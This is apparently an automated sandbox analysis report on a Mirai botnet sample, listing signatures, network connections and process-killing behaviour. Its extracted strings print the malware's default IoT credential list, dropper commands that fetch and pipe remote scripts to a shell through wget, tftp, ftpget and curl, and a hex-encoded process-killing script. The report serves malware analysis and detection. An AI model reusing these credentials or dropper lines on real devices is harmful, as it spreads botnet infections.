Linux Analysis Report
la.bot.powerpc.elf

Overview

General Information

Sample name: la.bot.powerpc.elf
Analysis ID: 1565978
MD5: 84a52b9438189ee9eeb3f3fd0449b4ca
SHA1: 2e46a3f4d908d026c424100a28837191eb40baef
SHA256: 7e9f90b27b589066b6ec01d85c6e1f8d3fe01f5f75fa1fa632d35f332d0a0583
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai
Score: 64
Range: 0 - 100
Whitelisted: false

Signatures

Yara detected Mirai
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Sample tries to kill multiple processes (SIGKILL)
Uses known network protocols on non-standard ports
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
Found strings indicative of a multi-platform dropper
Source: la.bot.powerpc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.powerpc.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/proc/mounts/fdsocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/var/Sofia/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin/
Source: la.bot.powerpc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 38382
Sample listens on a socket
Source: /tmp/la.bot.powerpc.elf (PID: 6280) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 9.149.213.181
Source: unknown TCP traffic detected without corresponding DNS query: 116.121.255.123
Source: unknown TCP traffic detected without corresponding DNS query: 165.170.255.70
Source: unknown TCP traffic detected without corresponding DNS query: 133.17.18.201
Source: unknown TCP traffic detected without corresponding DNS query: 140.198.202.210
Source: unknown TCP traffic detected without corresponding DNS query: 108.49.249.241
Source: unknown TCP traffic detected without corresponding DNS query: 77.129.228.97
Source: unknown TCP traffic detected without corresponding DNS query: 151.221.178.216
Source: unknown TCP traffic detected without corresponding DNS query: 23.170.59.251
Source: unknown TCP traffic detected without corresponding DNS query: 151.49.196.167
Source: unknown TCP traffic detected without corresponding DNS query: 97.143.17.80
Source: unknown TCP traffic detected without corresponding DNS query: 80.193.50.242
Source: unknown TCP traffic detected without corresponding DNS query: 135.155.154.128
Source: unknown TCP traffic detected without corresponding DNS query: 121.146.21.213
Source: unknown TCP traffic detected without corresponding DNS query: 218.177.19.22
Source: unknown TCP traffic detected without corresponding DNS query: 21.151.178.195
Source: unknown TCP traffic detected without corresponding DNS query: 20.205.250.54
Source: unknown TCP traffic detected without corresponding DNS query: 73.44.35.118
Source: unknown TCP traffic detected without corresponding DNS query: 95.82.147.220
Source: unknown TCP traffic detected without corresponding DNS query: 24.70.112.192
Source: unknown TCP traffic detected without corresponding DNS query: 11.131.104.196
Source: unknown TCP traffic detected without corresponding DNS query: 189.208.109.241
Source: unknown TCP traffic detected without corresponding DNS query: 42.218.157.242
Source: unknown TCP traffic detected without corresponding DNS query: 217.55.214.237
Source: unknown TCP traffic detected without corresponding DNS query: 203.217.183.102
Source: unknown TCP traffic detected without corresponding DNS query: 47.213.242.254
Source: unknown TCP traffic detected without corresponding DNS query: 100.175.28.213
Source: unknown TCP traffic detected without corresponding DNS query: 11.5.118.70
Source: unknown TCP traffic detected without corresponding DNS query: 3.212.99.203
Source: unknown TCP traffic detected without corresponding DNS query: 51.123.5.29
Source: unknown TCP traffic detected without corresponding DNS query: 121.25.112.254
Source: unknown TCP traffic detected without corresponding DNS query: 62.50.118.210
Source: unknown TCP traffic detected without corresponding DNS query: 157.90.179.21
Source: unknown TCP traffic detected without corresponding DNS query: 123.74.199.47
Source: unknown TCP traffic detected without corresponding DNS query: 165.147.129.62
Source: unknown TCP traffic detected without corresponding DNS query: 92.109.247.52
Source: unknown TCP traffic detected without corresponding DNS query: 18.143.122.37
Source: unknown TCP traffic detected without corresponding DNS query: 32.25.239.10
Source: unknown TCP traffic detected without corresponding DNS query: 87.124.134.185
Source: unknown TCP traffic detected without corresponding DNS query: 126.217.148.22
Source: unknown TCP traffic detected without corresponding DNS query: 186.74.47.16
Source: unknown TCP traffic detected without corresponding DNS query: 156.21.148.236
Source: unknown TCP traffic detected without corresponding DNS query: 85.224.54.194
Source: unknown TCP traffic detected without corresponding DNS query: 123.170.72.161
Source: unknown TCP traffic detected without corresponding DNS query: 9.149.213.181
Source: unknown TCP traffic detected without corresponding DNS query: 97.70.89.34
Source: unknown TCP traffic detected without corresponding DNS query: 222.191.130.24
Source: unknown TCP traffic detected without corresponding DNS query: 116.121.255.123
Source: unknown TCP traffic detected without corresponding DNS query: 209.223.247.178
Source: la.bot.powerpc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.powerpc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary
barindex
Sample tries to kill multiple processes (SIGKILL)
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6410, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6411, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6412, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6413, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6414, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6415, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6416, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6417, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6418, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6419, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6420, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6421, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6422, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6423, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6424, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6425, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6426, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6427, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6455, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6458, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6476, result: no such process Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6484, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6485, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6496, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6509, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6524, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6527, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6529, result: successful Jump to behavior
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: (usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//v
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6410, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6411, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6412, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6413, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6414, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6415, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6416, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6417, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6418, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6419, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6420, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6421, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6422, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6423, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6424, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6425, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6426, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6427, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6455, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6458, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6476, result: no such process Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6484, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6485, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6496, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6509, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6524, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6527, result: successful Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) SIGKILL sent: pid: 6529, result: successful Jump to behavior
Source: classification engine Classification label: mal64.spre.troj.evad.linELF@0/1@0/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.powerpc.elf (PID: 6283) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.powerpc.elf (PID: 6283) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6283) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6283) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6283) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6283) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6283) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6283) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6283) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6283) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6283) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/79/fd Jump to behavior
